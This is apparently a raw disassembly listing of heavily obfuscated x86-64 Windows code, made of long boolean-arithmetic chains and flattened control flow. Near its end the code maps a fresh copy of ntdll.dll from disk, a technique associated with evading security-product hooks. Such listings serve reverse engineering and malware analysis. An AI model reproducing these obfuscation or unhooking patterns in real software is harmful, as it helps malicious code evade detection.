and eax, edx
not edx
mov ecx, edi
xor ecx, edx
and ecx, edi
and edx, edi
or edx, eax
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov eax, edx
mov ecx, edx
xor ecx, 0x67888ef1
and ecx, edx
not edx
and edx, 0x346a4d21
and eax, 0xcb95b2de
or eax, edx
mov edx, eax
xor edx, 0x438002d0
xor eax, 0x24080c21
or eax, 0x9877710e
mov ebx, ecx
not ebx
mov edi, eax
and edi, 0x1041a525
and edx, 0x67880ad0
or edx, edi
or eax, ebx
and ebx, 0x1041a525
and ecx, 0xefbe5ada
or ecx, ebx
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x8d4d64ce
and eax, 0x72b29b31
or eax, ecx
mov edx, eax
not edx
or eax, 0x56ecadd6
mov ebx, eax
not ebx
or edx, 0xa9135229
mov ecx, edx
not ecx
and eax, 0xbe2cf87d
and ebx, 0x1130200
or ebx, eax
and edx, 0xbe2cf87d
and ecx, 0x40c00582
or ecx, edx
xor ecx, ebx
mov eax, ecx
not eax
and eax, 0x56ecadd6
and ecx, 0xa9135229
or ecx, eax
mov edx, ecx
xor edx, 0xfffffffe
and edx, ecx
mov eax, ecx
not eax
and eax, 0x517b6ba0
and ecx, 0xae84945e
or ecx, eax
mov ebx, ecx
xor ebx, 0xe80804a
xor ecx, 0x517b6ba1
mov eax, edx
not eax
mov edi, eax
and edi, 0xa14717b4
and edx, 0x5eb8e84b
or edx, edi
or eax, ecx
and ecx, 0xa14717b4
and ebx, 0x5eb8e84a
or ebx, ecx
xor ebx, edx
not eax
or eax, ebx
mov r13d, eax
not r13d
mov edx, r13d
and edx, 0x69e6fa30
and eax, 0x961905cf
or eax, edx
xor eax, 0x69e6fa31
xor r13d, eax
and r13d, eax
mov eax, r8d
and eax, 0x81aef3d
mov edx, r9d
and edx, 0xf7e510c2
or edx, eax
mov eax, edx
xor eax, 0xf0c40000
xor edx, 0xaed00
and edx, 0x72bfdc2
and eax, 0xf8d4023d
or eax, edx
mov edx, eax
xor edx, 0x72bfdc2
mov ebx, eax
xor ebx, 0x48c40029
and ebx, 0x4cee41ab
xor eax, 0x1f899c6f
and eax, edx
and edx, 0xb311be54
or edx, ebx
mov ebx, edx
xor ebx, 0xb311be54
mov edi, edx
xor edi, 0x544c2006
and edi, ebx
mov esi, edi
and esi, eax
xor eax, edi
or eax, esi
mov edi, eax
not edi
and edi, 0xe75d9e53
and eax, 0x18a261ac
or eax, edi
and ebx, 1
xor edx, 0xb311be55
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x20102100
and edx, 0xdfefdeff
or edx, ebx
xor edx, 0xdfefdeff
mov ebx, eax
and ebx, edx
xor edx, eax
or edx, ebx
mov eax, edx
not eax
and eax, 0xb393d34f
and edx, 0x4c6c2cb0
or edx, eax
mov ebx, edx
xor ebx, 0xc6c08b0
xor edx, 0x90000048
and edx, 0xd0002448
and ebx, 0x2fffdbb7
or ebx, edx
mov r10d, ebx
xor r10d, 0xd0002448
mov r14d, r13d
not r14d
mov eax, r14d
and eax, 0x2a2010e
mov ecx, r13d
and ecx, 0x58182490
or ecx, eax
xor ecx, 0x58182490
mov edx, r13d
xor edx, 0x5aba259e
and edx, r13d
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov eax, edx
not eax
and eax, 0xa545da61
and edx, 0x5aba259e
or edx, eax
xor ebx, 0x2fffdbb7
mov eax, ebx
and eax, 0xdf616795
mov r15d, r10d
and r15d, 0x209e986a
or r15d, eax
mov eax, r15d
not eax
and eax, 0x209e986a
and r15d, 0xdf616795
or r15d, eax
mov r11d, edx
not r11d
mov eax, r11d
and eax, 0x670d0def
mov r12d, edx
and r12d, 0x98f2f210
or r12d, eax
xor r12d, 0x90564bbc
or r12d, r11d
mov eax, r14d
and eax, 0xf75b4653
and r13d, 0x8a4b9ac
or r13d, eax
xor r14d, r13d
and r14d, r13d
mov r13d, r15d
mov edi, r15d
mov esi, r15d
xor esi, 0x95c3e00
and esi, r15d
not r15d
mov ecx, r15d
and ecx, 0x8a4b9ac
xor r13d, 0xf75b4653
or r13d, ecx
and r10d, 0x161809a0
mov ecx, ebx
and ecx, 0xe9e7f65f
or ecx, r10d
mov eax, r12d
not eax
xor ecx, 0xe1434ff3
and ebx, 0xf75b4653
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0xee3e1ca6
and ebx, 0x11c1e359
or ebx, ecx
mov ecx, r14d
not ecx
and r14d, r12d
or r12d, ecx
and ecx, eax
mov r10d, r13d
not r10d
not r12d
or ecx, r14d
mov r14d, r12d
and r14d, ecx
xor ecx, r12d
mov r12d, ebx
xor r12d, 0x11c1e359
xor ebx, 0xee3e1ca6
or ecx, r14d
and r12d, r13d
or r13d, ebx
mov eax, r13d
not eax
and ebx, r10d
or ebx, r12d
mov r10d, ebx
not r10d
mov r14d, r13d
and r14d, 0x8761c2ed
and eax, 0x789e3d12
or eax, r14d
or r13d, r10d
and r10d, 0x8761c2ed
and ebx, 0x789e3d12
or ebx, r10d
xor ebx, eax
not r13d
or r13d, ebx
mov eax, ecx
mov ebx, ecx
xor ebx, 0xecd699ec
and ebx, ecx
not ecx
and ecx, 0x241290c4
and eax, 0xc8c40928
or eax, ecx
xor eax, 0xc8c40928
mov ecx, r13d
mov r10d, r13d
xor r10d, 0xecd699ec
and r10d, r13d
not r13d
and r13d, 0xe8d4898c
and ecx, 0x4021060
or ecx, r13d
xor ecx, 0x4021060
mov r14d, eax
and r14d, ebx
xor ebx, eax
or ebx, r14d
mov eax, ecx
and eax, r10d
xor r10d, ecx
or r10d, eax
mov eax, ebx
not eax
and eax, r10d
not r10d
and r10d, ebx
or r10d, eax
mov eax, r11d
and eax, 0x83449ea6
and edx, 0x7cbb6159
or edx, eax
mov r14d, edx
xor r14d, 0x7cbb6159
and r15d, 0xd9e4210e
and edi, 0x261bdef1
or edi, r15d
mov eax, edi
xor eax, 0x261bdef1
xor edx, 0x1441e00
or edx, 0xf6a3c1ff
mov ebx, edx
not ebx
or r11d, 0x95c3e00
mov ecx, r11d
not ecx
xor edi, 0xd0b81f0e
and edi, eax
and edx, 0xb48a42b8
and ebx, 0x9543c00
or ebx, edx
and r11d, 0xb48a42b8
and ecx, 0x42218147
or ecx, r11d
xor ecx, ebx
mov edx, edi
and edx, esi
xor esi, edi
or esi, edx
mov edx, ecx
not edx
and edx, esi
not esi
and esi, ecx
or esi, edx
mov ecx, r14d
and ecx, eax
xor eax, r14d
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x5ae2c3f7
and eax, 0xa51d3c08
or eax, ecx
xor eax, 0xa51d3c08
mov ecx, esi
and ecx, eax
xor eax, esi
or eax, ecx
mov ecx, eax
not ecx
and eax, ecx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov r14d, eax
mov edi, eax
xor edi, 0x84a84f5f
and edi, eax
mov edx, eax
not edx
mov eax, r10d
mov ecx, r10d
xor ecx, 0x84a84f5f
and ecx, r10d
not r10d
and r10d, 0xf821d574
and eax, 0x7de2a8b
or eax, r10d
mov r10d, eax
xor r10d, 0x7de2a8b
and edx, 0x3759f667
and r14d, 0xc8a60998
or r14d, edx
mov r11d, r14d
xor r11d, 0x8000818
xor eax, 0xf821d574
mov ebx, r10d
and ebx, 0x84a84f5f
xor r14d, 0x3759f667
mov edx, r14d
or edx, 0x7b57b0a0
mov esi, edx
not esi
mov r15d, ebx
and r15d, ecx
xor ecx, ebx
or ecx, r15d
mov ebx, edi
not ebx
mov r15d, edx
and r15d, 0xbfb04dc3
and esi, 0x8021c
or esi, r15d
or edx, ebx
and ebx, 0xbfb04dc3
and edi, 0x404fb23c
or edi, ebx
xor edi, esi
not edx
or edx, edi
mov esi, ecx
not esi
and esi, 0xa8e069e2
and ecx, 0x571f961d
or ecx, esi
mov esi, edx
not esi
and esi, 0xa8e069e2
and edx, 0x571f961d
or edx, esi
xor edx, ecx
mov ecx, eax
and ecx, 0xd7e723e1
and r10d, 0x2818dc1e
or r10d, ecx
or eax, r14d
and r14d, 0xd7e723e1
and r11d, 0x2818dc1e
or r11d, r14d
xor r11d, r10d
not eax
or eax, r11d
mov ecx, eax
not ecx
and ecx, 0xae0ea898
and eax, 0x51f15767
or eax, ecx
mov ecx, eax
xor ecx, 0x40514665
xor eax, 0xae0ea898
mov r10d, edx
not r10d
mov ebx, r10d
and ebx, 0x97aa319a
and edx, 0x6855ce65
or edx, ebx
or r10d, eax
and eax, 0x97aa319a
and ecx, 0x6855ce65
or ecx, eax
xor ecx, edx
not r10d
or r10d, ecx
mov ecx, r8d
and ecx, 0xc421418
mov eax, r9d
and eax, 0x60916a46
or eax, ecx
mov ecx, eax
xor ecx, 0x20816240
xor eax, 0x9f6e95b9
mov edx, r9d
xor edx, 0x6cd37e5e
and edx, r9d
mov ebx, edx
not ebx
mov edi, eax
and edi, 0xd51e1c3f
and ecx, 0x28c16240
or ecx, edi
or eax, ebx
and ebx, 0xd51e1c3f
and edx, 0x2ae1e3c0
or edx, ebx
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x80eaede
and eax, 0xf7f15121
or eax, ecx
mov ecx, eax
xor ecx, 0x48c9000
and ecx, 0x878eb47f
xor eax, 0xe35364ff
or eax, ecx
mov edx, eax
not edx
and r8d, 0x2bbda2a2
and r9d, 0xd4425d5d
or r9d, r8d
mov edi, r9d
xor edi, 0xd4425d5d
xor r9d, 0xa018200
and r9d, 0x8a419254
mov ecx, edi
and ecx, 0x75be6dab
or ecx, r9d
xor ecx, 0xf230d9d4
and edi, 0x78714b80
or edi, ecx
mov ecx, eax
and ecx, 0xd2bf523
xor eax, 0xc79638dd
and eax, edx
and edx, 0xf2d40adc
or edx, ecx
xor edx, 0xf2d40adc
mov ebx, edx
mov ecx, edi
mov esi, edx
and esi, edi
xor edx, edi
not edi
and ebx, 0x3869c722
and ecx, 0x3869c722
and edi, 0xc79638dd
or edi, ecx
mov ecx, ebx
and ecx, eax
xor eax, ebx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x41ebb7f7
and eax, 0xbe144808
or eax, ecx
mov ecx, edi
not ecx
and ecx, 0x41ebb7f7
and edi, 0xbe144808
or edi, ecx
xor edi, eax
or edx, esi
mov eax, edx
not eax
and eax, 0x1446952
and edx, 0xfebb96ad
or edx, eax
mov eax, edx
xor eax, 0x341b9085
xor edx, 0x1446952
mov ecx, edi
not ecx
mov ebx, ecx
and ebx, 0xcbe4267a
and edi, 0x341bd985
or edi, ebx
or ecx, edx
and edx, 0xcbe4267a
and eax, 0x341bd985
or eax, edx
xor eax, edi
not ecx
or ecx, eax
mov ebx, ecx
xor ebx, 0x878eb47f
and ebx, ecx
not ecx
and ecx, 0x878eb47f
mov eax, ecx
and eax, ebx
xor ebx, ecx
or ebx, eax
mov r8d, r10d
not r8d
mov eax, r8d
and eax, 0xdfa4befb
mov ecx, r10d
and ecx, 0x205b4104
or ecx, eax
xor ecx, 0x205b4104
mov r9d, r8d
and r9d, r10d
mov eax, ecx
and eax, r9d
xor ecx, r9d
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x695cece5
mov edx, eax
and edx, 0x96a3131a
or edx, ecx
xor edx, 0x52b61025
and eax, 0x3beafcc0
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xde7d51df
and eax, 0x2182ae20
or eax, ecx
mov r12d, eax
xor r12d, 0x2182ae20
mov r11d, eax
xor r11d, 0xde7d51df
mov ecx, r8d
and ecx, 0xc415033f
mov edx, r10d
xor edx, 0x3beafcc0
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x215d9406
and edx, 0xdea26bf9
or edx, ecx
mov r14d, edx
xor r14d, 0xdea26bf9
mov r15d, ebx
not r15d
mov ecx, r15d
or ecx, 0xc57b2937
mov esi, ebx
or esi, 0x3884d448
and esi, 0x79adfc4d
mov edi, r15d
and edi, 0x84520132
or edi, esi
mov esi, ecx
not esi
and ecx, 0x79adfc4d
and esi, 0x2000280
or esi, ecx
xor esi, edi
mov ecx, esi
not ecx
and ecx, 0x55bd6637
and esi, 0xaa4299c8
or esi, ecx
mov ecx, esi
xor ecx, 0x6d2800a7
xor esi, 0x90c64f00
and ecx, 0xfd6a0ea7
mov edi, esi
and edi, 0x295f158
or edi, ecx
mov ecx, edx
xor ecx, 0x480002
xor edi, 0xc680f267
and esi, 0x3beafcc0
or esi, edi
and ebx, 0xa21d081b
mov edi, r15d
and edi, 0x5de2f7e4
or edi, ebx
xor edi, 0x66080b24
and r15d, 0xc415033f
or r15d, edi
and ecx, 0xac86bda
xor edx, 0xb222568c
and edx, r14d
and r14d, 0xf5379425
or r14d, ecx
xor eax, 0x4d029355
mov edi, eax
and edi, r11d
and eax, r12d
mov ecx, edi
not ecx
mov ebx, ecx
and ebx, 0xb629ee65
and edi, 0x49d6119a
or edi, ebx
mov ebx, eax
not ebx
or ecx, ebx
and ebx, 0xb629ee65
and eax, 0x49d6119a
or eax, ebx
mov r13d, r14d
xor r13d, 0xf5379425
xor eax, edi
mov edi, r14d
xor edi, 0x664856af
and edi, r13d
not ecx
or ecx, eax
mov eax, edi
not eax
mov ebx, eax
and ebx, 0x4899c5d
and edi, 0xfb7663a2
or edi, ebx
mov ebx, edx
not ebx
or eax, ebx
and ebx, 0x4899c5d
and edx, 0xfb7663a2
or edx, ebx
xor edx, edi
not eax
or eax, edx
mov edx, ecx
not edx
and edx, 0xf31a6cfc
and ecx, 0xce59303
or ecx, edx
mov edx, eax
not edx
and edx, 0xf31a6cfc
and eax, 0xce59303
or eax, edx
xor eax, ecx
mov ecx, r12d
and ecx, 0x76abf739
and r11d, 0x895408c6
or r11d, ecx
xor r14d, 0xac86bda
or r12d, r14d
and r14d, 0x76abf739
and r13d, 0x895408c6
or r13d, r14d
xor r13d, r11d
not r12d
or r12d, r13d
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x62556a64
and eax, 0x9daa959b
or eax, ecx
mov ecx, r12d
not ecx
or edx, r12d
and r12d, 0x62556a64
and ecx, 0x9daa959b
or ecx, r12d
xor ecx, eax
mov ebx, esi
not ebx
not edx
or edx, ecx
mov edi, esi
and esi, 0xf594f0dd
and ebx, 0xa6b0f22
or ebx, esi
mov ecx, r15d
not ecx
or edi, r15d
and r15d, 0xf594f0dd
and ecx, 0xa6b0f22
or ecx, r15d
mov eax, edi
not eax
xor ecx, ebx
mov ebx, edi
and ebx, 0xa9bb46d1
and eax, 0x5644b92e
or eax, ebx
mov ebx, ecx
not ebx
or edi, ebx
and ebx, 0xa9bb46d1
and ecx, 0x5644b92e
or ecx, ebx
xor ecx, eax
not edi
or edi, ecx
mov ecx, edx
xor ecx, 0xf849c2ed
and ecx, edx
not edx
and edx, 0xf849c2ed
mov ebx, edi
not ebx
mov eax, edi
xor eax, 0xf849c2ed
and eax, ebx
mov ebx, edx
and ebx, ecx
xor ecx, edx
and edi, 0x7b63d12
or ecx, ebx
mov edx, eax
and edx, edi
xor edi, eax
or edi, edx
mov edx, ecx
not edx
and edx, edi
not edi
and edi, ecx
or edi, edx
mov ecx, r9d
not ecx
mov edx, r10d
and edx, 0x3aa9da73
and r8d, 0xc556258c
or r8d, edx
or r10d, ecx
and ecx, 0x3aa9da73
and r9d, 0xc556258c
or r9d, ecx
xor r9d, r8d
not r10d
or r10d, r9d
mov r8d, edi
not r8d
mov edx, r8d
and edx, 0x9f724ded
mov ecx, edi
and ecx, 0x608db212
or ecx, edx
mov ebx, r8d
or ebx, r10d
not r10d
xor ecx, 0x9f724ded
or ecx, r10d
mov eax, ecx
not eax
mov esi, ecx
and esi, 0xbd4cafae
and eax, 0x42b35051
or eax, esi
mov edx, ebx
not edx
or ecx, ebx
and ebx, 0xbd4cafae
and edx, 0x42b35051
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
and r8d, 0xc017a3c1
and edi, 0x3fe85c3e
or edi, r8d
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xf919ab10
and ecx, 0x6e654ef
or ecx, ebx
mov eax, edi
xor eax, 0x6e0542e
xor edi, 0xc011a300
and edi, 0xf919ab10
and eax, 0x6e654ef
or eax, edi
mov ebx, dword [0x1400a6664]
xor eax, ecx
xor edx, eax
test edx, eax
setne r9b
sete r11b
cmp ebx, 9
setg dil
cmp ebx, 0xa
setl r10b
mov ecx, r11d
xor cl, r9b
and cl, r11b
xor cl, 1
mov ebx, ecx
or bl, r10b
xor bl, 1
xor cl, r10b
not cl
and cl, r10b
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov ebx, r11d
xor bl, dil
mov r8d, r10d
xor r8b, r11b
mov eax, r10d
or al, r11b
xor al, 1
or al, r8b
mov r8d, ebx
xor r8b, al
or al, bl
xor al, 1
or al, r8b
mov ebx, eax
xor bl, 1
mov esi, ebx
and sil, al
xor bl, sil
xor sil, 1
or sil, al
xor sil, 1
or sil, bl
mov eax, esi
xor al, 1
mov ebx, ecx
xor bl, 1
and al, cl
and bl, sil
or bl, al
mov eax, ecx
xor al, sil
or sil, cl
xor sil, 1
or sil, al
xor sil, 1
mov eax, ebx
and al, sil
xor sil, bl
or sil, al
mov r8d, esi
xor r8b, 1
mov eax, r9d
and al, r10b
and dil, r11b
or dil, al
mov ecx, edi
xor cl, 1
and r9b, cl
and r11b, dil
or r11b, r9b
xor cl, r11b
and cl, r11b
mov eax, edi
xor al, r10b
or dil, r10b
xor dil, 1
or dil, al
mov edx, edi
xor dl, 1
mov r9d, ecx
xor r9b, 1
mov eax, edx
and al, dil
and dil, r9b
and cl, dl
or cl, dil
mov ebx, ecx
xor bl, r9b
and bl, cl
mov ecx, eax
and cl, dl
xor al, dl
or al, cl
xor al, r9b
mov edx, eax
xor dl, 1
mov ecx, ebx
xor cl, 1
and bl, cl
and dl, al
mov r9d, ecx
and r9b, bl
xor bl, cl
or bl, r9b
mov r9d, eax
and r9b, dl
xor dl, al
or dl, r9b
mov r9d, ebx
xor r9b, 1
and r9b, dl
xor dl, 1
and dl, bl
or dl, r9b
mov ebx, ecx
and bl, al
xor cl, al
or cl, bl
mov eax, ecx
xor al, dl
xor dl, 1
xor al, 1
or dl, cl
xor dl, 1
or dl, al
mov r9d, edx
xor r9b, 1
mov eax, r9d
and al, dl
mov ecx, r9d
and cl, al
xor al, r9b
or al, cl
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
and al, r8b
xor cl, 1
and cl, sil
or cl, al
mov eax, ecx
xor al, sil
xor cl, al
xor cl, 1
and cl, al
mov eax, esi
and al, r8b
mov r10d, edx
xor r10b, r9b
or r9b, dl
and r10b, dl
mov ebx, r10d
and r10b, r9b
xor r9b, 1
mov edx, eax
xor dl, 1
or dl, sil
xor al, r8b
xor al, 1
mov r8d, edx
xor r8b, al
or al, dl
xor al, 1
or al, r8b
xor bl, 1
mov edx, r9d
xor dl, bl
and dl, r9b
and bl, r9b
or bl, r10b
mov r8d, edx
and r8b, bl
xor bl, dl
or bl, r8b
mov r8d, eax
xor r8b, 1
mov r10d, ebx
xor r10b, 1
and r10b, bl
mov r9d, r10d
and r9b, bl
xor r10b, bl
or r10b, r9b
and r8b, r10b
xor r10b, 1
and r10b, al
or r10b, r8b
mov ebx, ecx
xor bl, 1
mov eax, ebx
and al, cl
xor bl, al
xor al, 1
or al, cl
xor al, 1
or al, bl
mov r9d, eax
xor r9b, 1
mov r8d, r10d
xor r8b, 1
mov edx, r10d
or dl, r8b
mov ebx, r9d
or bl, al
mov ecx, r9d
xor cl, bl
or bl, r9b
xor bl, 1
or bl, cl
mov ecx, r10d
or cl, dl
xor dl, r10b
xor dl, 1
mov r11d, ecx
xor r11b, dl
or dl, cl
xor dl, 1
or dl, r11b
mov r11d, edx
xor r11b, 1
and r11b, bl
xor bl, 1
and bl, dl
or r11b, bl
and r8b, r9b
mov edx, eax
xor dl, r10b
and dl, al
and al, r10b
or al, r8b
mov ebx, edx
xor bl, 1
xor dl, al
xor al, 1
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, r11d
xor dl, 1
mov ecx, r11d
and cl, dl
mov ebx, ecx
and bl, r11b
xor cl, r11b
or cl, bl
mov ebx, ecx
xor bl, 1
and bl, al
xor al, 1
and cl, al
or cl, bl
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov eax, edx
xor al, cl
test al, 1
mov ebx, 0x7714c46b
mov eax, 0x174d6e2a
cmovne ebx, eax
test dl, 1
mov eax, 0x7714c46b
jmp 0x14001c300
cmp eax, 0x81106e61
je 0x1400195c4
cmp eax, 0x863cd2f6
jne 0x140001970
mov r10b, byte [rbp + 0x3e]
mov r14b, byte [rbp + 0x3f]
mov r12d, r14d
xor r12b, 1
mov ecx, r14d
or cl, r12b
mov edi, ecx
xor dil, 1
mov edx, r12d
xor dl, dil
mov ebx, r12d
or bl, dil
xor bl, 1
or bl, dl
xor bl, 1
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov r8d, r10d
xor r8b, 1
mov esi, r8d
and sil, r10b
mov eax, esi
xor al, 1
mov r11d, r8d
xor r11b, sil
or al, r10b
xor al, 1
or al, r11b
mov r9d, ebx
xor r9b, 1
mov r15d, r9d
or r15b, bl
mov edx, r15d
xor dl, 1
and dl, bl
or bl, r15b
xor bl, 1
and r15b, r9b
or r15b, dl
mov edx, ebx
and dl, r15b
xor r15b, bl
or r15b, dl
xor r15b, al
mov eax, r15d
or al, r10b
xor al, 1
xor r15b, r10b
mov edx, eax
and dl, r15b
xor r15b, al
or r15b, dl
mov r9d, r15d
xor r9b, 1
mov eax, r8d
or al, r10b
mov ebx, r10d
xor bl, r8b
and bl, r10b
xor bl, 1
mov edx, eax
or dl, bl
xor dl, 1
xor bl, al
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov r13d, ebx
xor r13b, r14b
and r13b, bl
or bl, r12b
mov eax, ebx
xor al, r13b
xor r13b, 1
xor al, 1
or r13b, bl
xor r13b, 1
or r13b, al
mov eax, r13d
xor al, 1
xor r13b, r12b
xor r13b, 1
or r13b, al
mov r10d, r13d
xor r10b, 1
and r14b, cl
and dil, r12b
or dil, r14b
mov eax, ecx
and al, r12b
xor cl, r12b
or cl, al
xor cl, 1
mov eax, edi
and al, cl
xor cl, dil
or cl, al
mov eax, ecx
xor al, 1
mov ebx, eax
and bl, cl
xor al, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, al
mov ecx, ebx
xor cl, 1
and cl, bl
and sil, r8b
or sil, r11b
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, esi
xor al, 1
and al, cl
xor cl, 1
and cl, sil
or cl, al
xor cl, 1
mov eax, ecx
and al, r8b
xor cl, r8b
or cl, al
mov ebx, ecx
xor bl, 1
mov r8d, ecx
and r8b, bl
mov eax, ecx
and al, r8b
xor r8b, cl
or r8b, al
mov edx, r13d
or dl, r10b
mov eax, r8d
xor al, 1
or bl, cl
mov r11d, ebx
xor r11b, 1
mov ecx, r10d
or cl, dl
xor dl, r10b
xor dl, 1
mov esi, ecx
xor sil, dl
or dl, cl
xor dl, 1
or dl, sil
mov ecx, eax
or cl, bl
xor cl, 1
and r11b, al
and bl, r8b
or bl, r11b
mov r11d, ecx
and r11b, bl
xor bl, cl
or bl, r11b
mov r11d, edx
xor r11b, 1
mov ecx, r11d
and cl, dl
mov esi, ebx
xor sil, 1
and bl, sil
xor r11b, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, r11b
mov edx, esi
and dl, bl
xor bl, sil
or bl, dl
xor bl, cl
and r8b, r10b
or r10b, al
and al, r13b
or al, r8b
mov ecx, r10d
xor cl, al
xor al, 1
xor cl, 1
or al, r10b
xor al, 1
or al, cl
mov edx, eax
xor dl, 1
mov r8d, ebx
xor r8b, 1
mov r10d, ebx
and r10b, r8b
mov ecx, edx
and cl, al
mov r11d, r10d
and r11b, bl
xor r10b, bl
or r10b, r11b
mov r11d, ecx
and r11b, dl
xor cl, dl
or cl, r11b
xor cl, r10b
xor r8b, al
or dl, bl
xor dl, 1
or dl, r8b
mov eax, edx
xor al, cl
xor cl, 1
xor al, 1
or cl, dl
xor cl, 1
or cl, al
mov r10d, ecx
xor r10b, 1
mov eax, r10d
xor al, r9b
mov edx, r10d
xor dl, r15b
xor al, 1
mov ebx, r15d
or bl, r10b
xor bl, 1
or bl, al
mov eax, ebx
xor al, dl
xor dl, 1
xor al, 1
or dl, bl
xor dl, 1
or dl, al
mov edi, edx
xor dil, 1
and dil, dl
xor dil, 1
mov eax, edx
xor al, dil
or dil, dl
xor dil, 1
or dil, al
mov r8d, edi
xor r8b, 1
mov eax, r15d
xor al, cl
or al, r10b
and cl, r15b
and r10b, r9b
or r10b, cl
xor r15b, r10b
and r15b, r10b
mov ebx, r15d
and r15b, al
xor al, 1
xor bl, 1
mov ecx, eax
xor cl, bl
and cl, al
and bl, al
or bl, r15b
xor cl, 1
xor bl, 1
mov eax, ecx
xor al, bl
or bl, cl
xor bl, 1
or bl, al
mov ecx, ebx
xor cl, 1
mov r9d, edi
or r9b, r8b
mov r11d, r9d
xor r11b, 1
mov eax, ecx
or al, bl
mov r10d, eax
xor r10b, 1
mov esi, ecx
xor sil, al
and sil, cl
and r10b, bl
and al, cl
xor bl, r8b
and bl, r8b
xor cl, r8b
and r8b, dil
xor r8b, 1
mov edx, r8d
xor dl, dil
or r8b, dil
xor r8b, 1
or r8b, dl
mov edx, r8d
xor dl, 1
and dl, r11b
and r8b, r9b
or r8b, dl
mov edx, edi
and dl, r9b
xor r9b, dil
or r9b, dl
mov edx, r9d
xor dl, r8b
xor r8b, 1
xor dl, 1
or r8b, r9b
xor r8b, 1
or r8b, dl
or al, r10b
mov edx, esi
and dl, al
xor al, sil
or al, dl
xor al, 1
mov edx, eax
or dl, r8b
xor al, r8b
xor al, 1
and al, r8b
xor al, 1
mov r8d, edx
xor r8b, al
or al, dl
xor al, 1
or al, r8b
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, eax
xor dl, 1
and dl, cl
xor cl, 1
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
or cl, dl
mov edx, ebx
xor dl, cl
test cl, 1
mov eax, 0x6b94ca13
mov ecx, 0x7a7e7f38
cmovne eax, ecx
test bl, 1
mov ebx, 0x6b94ca13
cmove eax, ebx
jmp 0x14001a3c4
cmp eax, 0xce4c0cd9
je 0x1400195e0
cmp eax, 0xe83cba98
jne 0x140001970
jmp 0x1400213d0
cmp eax, 0x1fd01908
je 0x14001a3da
cmp eax, 0x23a85c3e
jne 0x140001970
movzx eax, word [rbp + 0xce]
mov rax, qword [rbp + 0xa8]
mov eax, 0x4c65be15
cmp eax, 0x1fd01907
jle 0x1400019e0
jmp 0x140001977
cmp eax, 0x6d008730
je 0x14001a3ef
cmp eax, 0x6d1c7d8b
jne 0x140001970
mov r8, qword [rbp + 0x40]
mov rcx, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x60]
sub rsp, 0x20
mov r9d, 0x18
call sub.KERNEL32.dll_K32GetModuleInformation
add rsp, 0x20
mov rax, qword [rbp + 0x40]
mov rax, qword [rax]
mov qword [rbp + 0x70], rax
sub rsp, 0x40
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
lea rcx, str.c:windows_system32_ntdll.dll
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
add rsp, 0x40
mov qword [rbp + 0x78], rax
mov rcx, qword [rbp + 0x78]
sub rsp, 0x30
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor edx, edx
mov r8d, 0x1000002
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
add rsp, 0x30
mov qword [rbp + 0x80], rax
cmp qword [rbp + 0x80], 0
sete byte [rbp + 0x8f]
mov eax, dword [0x1400a6668]
lea r11d, [rax - 1]
imul r11d, eax
mov edx, r11d
not edx
mov eax, r11d
and eax, 0x861961b4
mov ecx, edx
mov r8d, edx
and ecx, 0x79e69e4b
or ecx, eax
mov ebx, ecx
xor ebx, 0x29208040
xor ecx, 0x2002000
and ecx, 0x42c42001
and ebx, 0x2d20c0f0
or ebx, ecx
mov edi, ebx
xor edi, 0x9008010
xor ebx, 0xd2df3f0f
mov eax, edx
and eax, 0x6fe4e0f1
mov esi, r11d
xor esi, 0x901b1f0e
or esi, eax
mov ecx, esi
not ecx
mov eax, ebx
or eax, esi
mov edx, eax
not edx
and ebx, 0xa6b259eb
and edi, 0x4944a010
or edi, ebx
and esi, 0xa6b259eb
and ecx, 0x594da614
or ecx, esi
xor ecx, edi
mov ebx, ecx
not ebx
mov edi, eax
and edi, 0x122d731
and edx, 0x6ec420c0
or edx, edi
or eax, ebx
and ebx, 0x122d731
and ecx, 0xfedd28ce
or ecx, ebx
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x900b0c00
mov edx, eax
and edx, 0x10130e
or edx, ecx
xor edx, 0x10130e
and eax, 0x6fe4e0f1
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x30002404
mov edx, eax
and edx, 0x80428010
or edx, ecx
xor edx, 0x80428010
and eax, 0x4fbd5beb
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x4fbd5beb
and eax, 0xb042a414
or eax, ecx
mov ebx, eax
not ebx
mov edx, ebx
and edx, 0xcb7c67a5
and eax, 0x3483985a
or eax, edx
mov edx, eax
